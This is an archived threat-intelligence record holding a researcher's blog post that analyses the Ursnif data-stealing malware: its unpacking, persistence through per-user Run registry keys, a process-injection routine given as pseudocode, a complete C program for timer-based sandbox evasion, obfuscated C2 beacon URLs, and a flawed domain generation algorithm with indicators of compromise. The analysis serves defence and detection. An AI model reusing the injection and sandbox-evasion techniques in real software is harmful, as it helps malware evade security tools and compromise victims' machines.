{
	"id": "cf4f8ddb-cf17-49e1-be4f-e8228348ef6c",
	"created_at": "2026-04-06T00:21:55.471104Z",
	"updated_at": "2026-04-10T03:22:02.786324Z",
	"deleted_at": null,
	"sha1_hash": "c5f6f98061292c84722dcf70347d78754b8979ce",
	"title": "Deep Technical Dive – Ariel's blog",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 96182,
	"plain_text": "Deep Technical Dive – Ariel's blog\r\nBy AK\r\nArchived: 2026-04-05 12:48:27 UTC\r\nIn this blog I explain some of the core methods an attack tool named Ursnif uses, as well as mention some, probably\r\nunintentional, pieces of code that were left behind in the production version of the malware.\r\nUrsnif is a data stealer and a downloader with a lot of abilities to steal data from installed browsers and other applications\r\n(such as Microsoft Outlook).\r\nIn addition to stealing data, Ursnif also has the ability to download additional malicious components from the attacker’s\r\nCommand \u0026 Control (C\u0026C) servers and load them dynamically into memory. In this version of Ursnif I have also\r\nencountered an internal peer-to-peer communication which could possibly add the ability for the sample to communicate\r\nwith other Ursnif peers over the same network. We will discuss the peer-to-peer part in a future blog post.\r\nIt All Begins With An Executable\r\nWhen the Ursnif executable is first loaded, it will unpack the real payload. The real payload is packed by the attackers,\r\nbecause it helps keeping it undetected by security solutions which are based on a file signature.\r\nAfter the real payload is unpacked, it will run in a hollowed process, and even at that stage of unpacking, the .BSS section is\r\nstill obfuscated and will be de-xored on runtime before the malware will continue with the execution.\r\nBefore and after decryption\r\nThe bss section before and after dexoring it\r\nAfterward, there is a simple check the malware authors left behind. If the file C:\\321.txt exists, the checks for a virtualized\r\nenvironment are ignored. This was most probably developed in order to allow the attackers to test their tool on their own\r\nvirtualized machines. Even though it is quite funny that the attackers left this piece of code in a production compilation, it\r\nmight show how careless they are. Basically, if anyone else would like to test Ursnif on a virtual machine, they can just\r\ncreate a file with that name at that location and the malware will work properly with no need to change the virtual machine’s\r\nconfigurations.\r\nNext, the malware will make sure that all of the users on the machine are infected, by enumerating the registry root key\r\nHKU and for each user key, it will put an appropriate startup value, as well as the payload on each AppData folder of each\r\nuser. Registry Keys used:\r\nHKU\\\u003cSID\u003e\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\r\nHKU\\\u003cSID\u003e\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\AppData\r\n(Value equals the folder to be used for the malware, for example:\r\nC:\\Users\\Administrator\\Appdata\\Roaming\\”)\r\nAfter this procedure, we move on to the injection method.\r\nAnd It Continues With Another Executable To Be Injected\r\nIn the second part, the malware will look for a legitimate process to run in its context. Running in a different process context\r\nallows the malware to bypass firewall rules which let some processes through without alerting or blocking them.\r\nInternally, the malware calculates a unique checksum for each process name it finds, in order to obfuscate the processes into\r\nwhich it will try to inject itself. Instead of injecting to explorer.exe for example, a checksum will be calculated, resulting in\r\nsomething like 0x17F9B5AA. Then, it will check if that value matches a value from an internal list of checksums, and only\r\nif it exists in that list, it will begin the injection method on that process.\r\nLet’s examine a pseudo code (as simple as possible) of how the first part of the injection looks:\r\n/* Obtain the process pid to inject to */\r\ndwPID = GetInjectProcess()\r\nhProcess = OpenProcess(dwPID, ...)\r\npAddress = GetProcAddress(\"ntdll.dll\", \"RtlExitUserThread\")\r\n/* Create remote thread in suspended mode */\r\nhThread = CreateRemoteThread(hProcess, /* Remote process handle */\r\n CREATE_SUSPENDED, /* creation flags */\r\n pAddress, /* thread function address */\r\nhttps://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/\r\nPage 1 of 6\n\n...)\r\n/* Read remote procedure first four bytes */\r\ndwBackupData = ZwReadVirtualMemory(hProcess, /* Remote process handle */\r\npAddress, /* Address to read */\r\n 4, /* number of bytes to read */\r\n ...)\r\n/* Change address protection to `writable` */\r\nVirtualProtectEx(hProcess, /* Remote process handle */\r\nREAD_WRITE_EXECUTE, /* New protection flags */\r\npAddress, /* Address to change protection on */\r\n4, /* Size of address */\r\n...)\r\nZwWriteVirtualMemory(hProcess, /* Remote process handle */\r\npAddress, /* Address to overwrite */\r\n0xCCCCFEEB, /* Data to write */\r\n4, /* Size of data */\r\n...)\r\nOpen a handle to the desired process.\r\nGet the address of ntdll!RtlExitUserThread function.\r\nCreate a remote suspended thread with the appropriate function.\r\nObtain the first four bytes of the function as a backup (because in the upcoming steps, they will be overwritten).\r\nBefore we overwrite the bytes, we must change the protection flags of the memory so it will be writable.\r\nWrite four bytes (DWORD)(0xCCCCFEEB) . This is the interesting part, changing the original function prologue this\r\nway, will result in an infinite loop.\r\nLet’s examine the function before and after the changes:\r\nBefore After\r\nntdll!RtlExitUserThread:\r\n77dc1000 8bff mov edi,edi\r\n77dc1002 55 push ebp\r\n77dc1003 8bec mov ebp,esp\r\n77dc1005 83e4f8 and esp,0FFFFFFF8h\r\n77dc1008 81ecbc000000 sub esp,0BCh\r\nntdll!RtlExitUserThread:\r\n77dc1000 ebfe jmp ntdll!RtlExitUserThread (77dc1000)\r\n77dc1002 cc int 3\r\n77dc1003 cc int 3\r\n77dc1004 ec in al,dx\r\n77dc1005 83e4f8 and esp,0FFFFFFF8h\r\n77dc1008 81ecbc000000 sub esp,0BCh\r\nAfter the change, the new values assigned to the function prologue are translated to JMP \u003cShort\u003e , which is a two byte\r\nopcode. The first byte ( 0xEB ) is what translated the processor to recognize it as a JMP opcode, and it will also expect the\r\nsecond byte to be the value of where to jump to (Relatively from the EIP at the end of the opcode). The second byte we have\r\nin this scenario is 0xFE , which translates to (-2). Jumping relatively from the end of the opcode ( address 0x77dc1002 ) -2\r\nbytes, will make the EIP get back to address 0x77dc1000 , which is the same opcode again. This will result an infinite loop\r\nof one opcode. as you can see WinDBG translates it beautifully:\r\n77dc1000 ebfe      jmp   ntdll!RtlExitUserThread (77dc1000)\r\nAfter this change, the thread is resumed until its EIP of the newly created thread reach the ntdll!RtlExitUserThread\r\naddress, then the thread is set to suspended mode again. The reason all this procedure is happening is because when a thread\r\nis created, it doesn’t immediately start at the function given, it requires some initialization functions to be called first, so the\r\noriginal code is waiting for the initialization to complete and then it have a post initialized thread which it can take control of\r\nits EIP without worrying.\r\nThereafter the thread is suspended again, the function original 4 bytes are restored. The new PE itself is injected with\r\nNtCreateSection and NtMapViewOfSection , for mapping the new PE to the malware’s memory ending with\r\nSetThreadContext which with that we are able to change the registers value, specifically EIP – to the new created entry\r\npoint of the remote process following ResumeThread .\r\nAs we’ve seen before, attackers are building techniques into their tools in order to evade detection by security solutions. One\r\nof the techniques exploits sandbox weaknesses by using different sleeping mechanisms. Sandboxing solutions usually run\r\nmalware samples only for about 2-3 minutes before they move on to the next sample they have in queue. The reason is\r\nsimply because those kind of solutions are required to keep up with analyzing hundreds of thousands of samples every day.\r\nTherefore, for a sandbox time is a very precious resource. Basically, this means that if a malware can stay dormant for this\r\nperiod of time, the sandbox will not recognize its behavior as malicious and will move to the next sample in queue.\r\nhttps://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/\r\nPage 2 of 6\n\nUrsnif has recently evolved and changed the sleeping mechanism, trying to evade detection through a unique sleeping API.\r\nEarlier versions used Sleep \\ WaitForSingleObject \\ WaitForMultipleObjects or similar APIs. Nowadays, a different\r\nmethod coming in hand, Relative sleeping using windows timers. Here is a code example of how to use the Timers API:\r\n#include \u003cwindows.h\u003e\r\n#include \u003ctchar.h\u003e\r\n/* Definitions */\r\n#define SLEEP_TIME (5) /* In seconds */\r\n/* Macros */\r\n#define NANOSECONDS(nanos) \\\r\n(((signed __int64)(nanos)) / 100L)\r\n#define MICROSECONDS(micros) \\\r\n(((signed __int64)(micros)) * NANOSECONDS(1000L))\r\n#define MILLISECONDS(milli) \\\r\n(((signed __int64)(milli)) * MICROSECONDS(1000L))\r\n#define SECONDS(seconds) \\\r\n(((signed __int64)(seconds)) * MILLISECONDS(1000L))\r\n/* Enumerations */\r\ntypedef enum _E_CODE\r\n{\r\n E_FAILURE = -1,\r\n E_SUCCESS = 0,\r\n E_TIMER_CREATION,\r\n E_SET_TIMER,\r\n E_WAIT_EVENT,\r\n} E_CODE;\r\nE_CODE SleepingMechanism(DWORD dwSleepTime)\r\n{\r\n /* Initializations */\r\n HANDLE hTimer = NULL;\r\n E_CODE tRetVal = E_FAILURE;\r\n FILETIME ftSystemTime = { 0 };\r\n LARGE_INTEGER liSystemTime = { 0 };\r\n DWORD dwWaitResult = 0;\r\n /* Create unnamed timer */\r\n hTimer = CreateWaitableTimer(NULL, FALSE, NULL);\r\n if (NULL == hTimer)\r\n {\r\n _tprintf(TEXT(\"CreateWaitableTimer failure: [%d]\\n\"), GetLastError());\r\n tRetVal = E_TIMER_CREATION;\r\n goto lblCleanUp;\r\n }\r\n /* Get system time */\r\n GetSystemTimeAsFileTime(\u0026ftSystemTime);\r\n /* Add relative time from current time to sleep */\r\n liSystemTime.HighPart = ftSystemTime.dwHighDateTime;\r\n liSystemTime.LowPart = ftSystemTime.dwLowDateTime;\r\n liSystemTime.QuadPart += SECONDS(dwSleepTime);\r\n /* Set timer with an absolute time to sleep */\r\n if (!SetWaitableTimer(hTimer, \u0026liSystemTime, 0, NULL, NULL, FALSE))\r\n {\r\n _tprintf(TEXT(\"Failed creating waitable timer: [%d]\"), GetLastError());\r\n tRetVal = E_SET_TIMER;\r\n goto lblCleanUp;\r\n }\r\n /* Waiting for the timer event*/\r\n _tprintf(TEXT(\"Sleeping for [%d] seconds\\n\"), dwSleepTime);\r\n dwWaitResult = WaitForSingleObject(hTimer, INFINITE);\r\n if (WAIT_OBJECT_0 != dwWaitResult)\r\n {\r\n _tprintf(TEXT(\"WaitForSingleObject failed: [%d]\"), dwWaitResult);\r\n tRetVal = E_WAIT_EVENT;\r\n }\r\n /* Success */\r\n tRetVal = E_SUCCSES;\r\nlblCleanUp:\r\n if (NULL != hTimer)\r\n {\r\n CloseHandle(hTimer);\r\n hTimer = NULL;\r\nhttps://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/\r\nPage 3 of 6\n\n}\r\nreturn tRetVal;\r\n}\r\nINT _tmain(DWORD dwArgc, LPTSTR *lpszArgv)\r\n{\r\n E_CODE tRetVal = E_FAILURE;\r\n tRetVal = SleepingMechanism(SLEEP_TIME);\r\n if (E_SUCCSES != tRetVal)\r\n _tprintf(TEXT(\"Failure: [%d]\"), (DWORD)tRetVal);\r\n else\r\n _tprintf(TEXT(\"Success\\n\"));\r\n return 0;\r\n}\r\nThe Additional Evasive Techniques and the DGA Flaw\r\nOnce the attacker tool is able to evade the sandbox, it will try to evade network security solutions which are based on\r\ncommunication pattern signatures. Let’s examine two such evasive techniques:\r\nObfuscating the outbound traffic\r\nThe first data sent from the infected machine would start with the following string format:\r\nsoft=1\u0026version=%u\u0026user=%08x%08x%08x%08x\u0026server=%u\u0026id=%u\u0026crc=%x\r\nAfter adding the values which represent the machine (will not be discussed in this blog post) to the format string, the\r\nmalware will xor the original value and move on to base64 encoding. Thereafter removing the “=” padding.\r\nW+WIpnoUOvyD3ExoGOYmmDu0bmT8a0IQc2p7qTZymZCHt8eu27PEunoWst7LOJNxEVYBinB9iwNBQ6dP+msKM1eHuJg8mb5vu2siAOn72yyGQxwIDyVrNC1VsGTgKilQ5n64xxRm\r\nThen adding “/” at random offsets of the string, following with changing every unique letter (which doesn’t match [a-zA-Z0-\r\n9]) to its hexadecimal format starting with “_”. For example the letter “+” hex representation is 2B, and the letter “/” hex\r\nrepresentation is 2F, so the output will end up looking like:\r\nWWIpnoUOvyD3ExoGOYmmDu0bmT8a0IQc2p7qTZymZCHt8eu27PEunoWst7LOJNxEVYBinB9iwN_2FBQ6dP_2BmsKM1eHuJg_2F8mb5vu2siAOn72yyGQxwIDyVrNC1VsGTgKilQ5\r\nFinally, there is a second call to the function, adding the “/” slash character at random offsets and then the string is complete.\r\nW_2BWIpn_2FoUOvyD3ExoGO/YmmDu0bmT8/a0IQc2p7qTZymZCHt/8eu27PEunoWs/t7LOJNxEVYB/inB9iwN_2FBQ6d/P_2BmsKM1eHuJg_2F8mb5/vu2siAOn72yyGQxw/IDyV\r\nThis is sent to the C\u0026C server with the following format:\r\n“ \u003cDomain\u003e/images/\u003cCraftedBase64Url\u003e.gif ”\r\nwhere the \u003cDomain\u003e will be chosen by the DGA algorithm, and the \u003cCraftedBase64Url\u003e is what was just created.\r\nhttp://thiscrevmscllevelfak[.]club/images/W_2BWIpn_2FoUOvyD3ExoGO/YmmDu0bmT8/a0IQc2p7qTZymZCHt/8eu27PEunoWs/t7LOJNxEVYB/inB9iwN_2FBQ6d/P\r\nDomain Generation Algorithm (DGA)\r\nWhen I first reverse engineered the DGA and tried to recreate it using Python, for some reason my code didn’t work as\r\nexpected and I got different results compared to the actual domains used by the attackers. When I reversed everything\r\nslowly and made sure my code does exactly what it is supposed to – I found out that they have some logical flaw in the\r\ncode. Whether this was intentional or not, I will let you be the judge. But I am pretty sure it was unintentional. Let’s see\r\nwhat exactly is going on in there step by step:\r\n1. 1. Download a predefined wordlist from an online text file.\r\nIn python that would be as easy as using urllib2.urlopen .\r\n2. Obtain all the words that are at least 3 letters long. In python that would be: re.findall(\"[a-zA-Z]{3,}\",\r\ndata)\r\n3. Add a null termination ( 0x00 ) after every word that matched, in the original buffer.\r\n4. Override the original data with the matching words, after every word add space bar.\r\n(Author comments: This is necessarily shorter than the original buffer so it should work, however in general\r\nthis is very bad code practice.)\r\n5. Create the domain using the strings in the buffer list of Step Three.\r\nhttps://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/\r\nPage 4 of 6\n\nThe ‘bug’ in action\r\nNow, the problem exists at Step Four, let’s take a look at the assembly:\r\nTo understand the problem better, let’s have a dummy buffer to demonstrate the issue.\r\nMatch-Another se cu DEADBEEF le rt\r\nApplying the regex from Step Two would result in the following word list:\r\n[\"Match\", \"Another\", \"DEADBEEF\"]\r\nAdding the null termination on the original string will make it look like:\r\nMatch\\x00Another\\x00se cu DEADBEEF\\x00le rt\r\nAfter that, we are going to copy each of those strings, override the original buffer with them, and add a space bar right after.\r\nThis should result the matching strings being one after another ordered in that buffer. However, the first copy is the reason\r\nfor the problem. We are first of all copying the original word over itself using ‘lstrcpy’, resulting in the same buffer.\r\nMatch\\x00Another\\x00se cu DEADBEEF\\x00le rt\r\nBut after that, we are using ‘lstrcat’ to add a space after the word. The MSDN documentation of `lstrcat` states:\r\n“lpString1 must be large enough to add lpString2 and the closing ‘\\0’,”\r\nwhich means that there are going to be two more bytes added! One of them is the space, and the other one is the null\r\ntermination coming right after, resulting in the following problem:\r\nMatch \\x00nother\\x00se cu DEADBEEF\\x00le rt\r\nAs you can see, it overwrote some of the next word, which will eventually make it “lose” one of the words in the list making\r\nthe whole wordlist short by one essentially affecting all of the DGA.\r\n(Author Comments: I believe the malware authors have no idea they have such a bug in their code because they are\r\nprobably using the exact same piece of code to know which domains they should buy.)\r\nAfter I successfully reversed the DGA algorithm and could recreate it myself, we sinkholed one of the generated domains\r\nfor the next domains cycle, and managed to find pretty interesting statistics about this family over a period of 5 days:\r\nDGA Characteristics\r\nType Dictionary based\r\nhttps://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/\r\nPage 5 of 6\n\nDGA Characteristics\r\nSeed Current date\r\nChange frequency 5 days period\r\nDomains Per Cycle 15\r\nTop level domains .ru, .xyz, .club\r\nTotal infected machines 6,893\r\nOn the analyzed sample, the DGA’s dictionary (word list) is generated from this url:\r\nhttp://opensource.apple.com/source/Security/Security-29/SecureTransport/LICENSE.txt\r\nThe interesting part of this DGA is the fact it can change the file from which the wordlist is generated, thus making it very\r\neasy to create different versions of the DGA for different purposes.\r\nAn example of actual domains generated from the dictionary:\r\nthiscrevmscllevelfak.club\r\nlevelignorethenind.ru\r\nmtabaddresslocked.xyz\r\nconsseriflistyleleft.club\r\naresymbolparamspan.ru\r\nrespondslemsonmsonum.club\r\nsenddatalistenpython.xyz\r\nnumfalseandyspan.ru\r\nmaxsemihiddenmsosymbol.club\r\ncllockedlevelnbsple.club\r\nnbspserliststthelist.xyz\r\nsymbolcontacttype.ru\r\nintoaddedprio.ru\r\nstylesendnblisprestval.xyz\r\nindentlspthatmcan.ru\r\nAnalyzed Samples:\r\n9b38f10fd425b37115c81ad07598d930\r\nb60c97d22f0ae301e916d61f79162b78\r\nf50bd1585f601d41244c7e525b8bd96a\r\nSource: https://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/\r\nhttps://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/\r\nPage 6 of 6",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA",
		"Malpedia"
	],
	"references": [
		"https://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/"
	],
	"report_names": [
		"ursnif-malware-deep-technical-dive"
	],
	"threat_actors": [],
	"ts_created_at": 1775434915,
	"ts_updated_at": 1775791322,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/c5f6f98061292c84722dcf70347d78754b8979ce.pdf",
		"text": "https://archive.orkl.eu/c5f6f98061292c84722dcf70347d78754b8979ce.txt",
		"img": "https://archive.orkl.eu/c5f6f98061292c84722dcf70347d78754b8979ce.jpg"
	}
}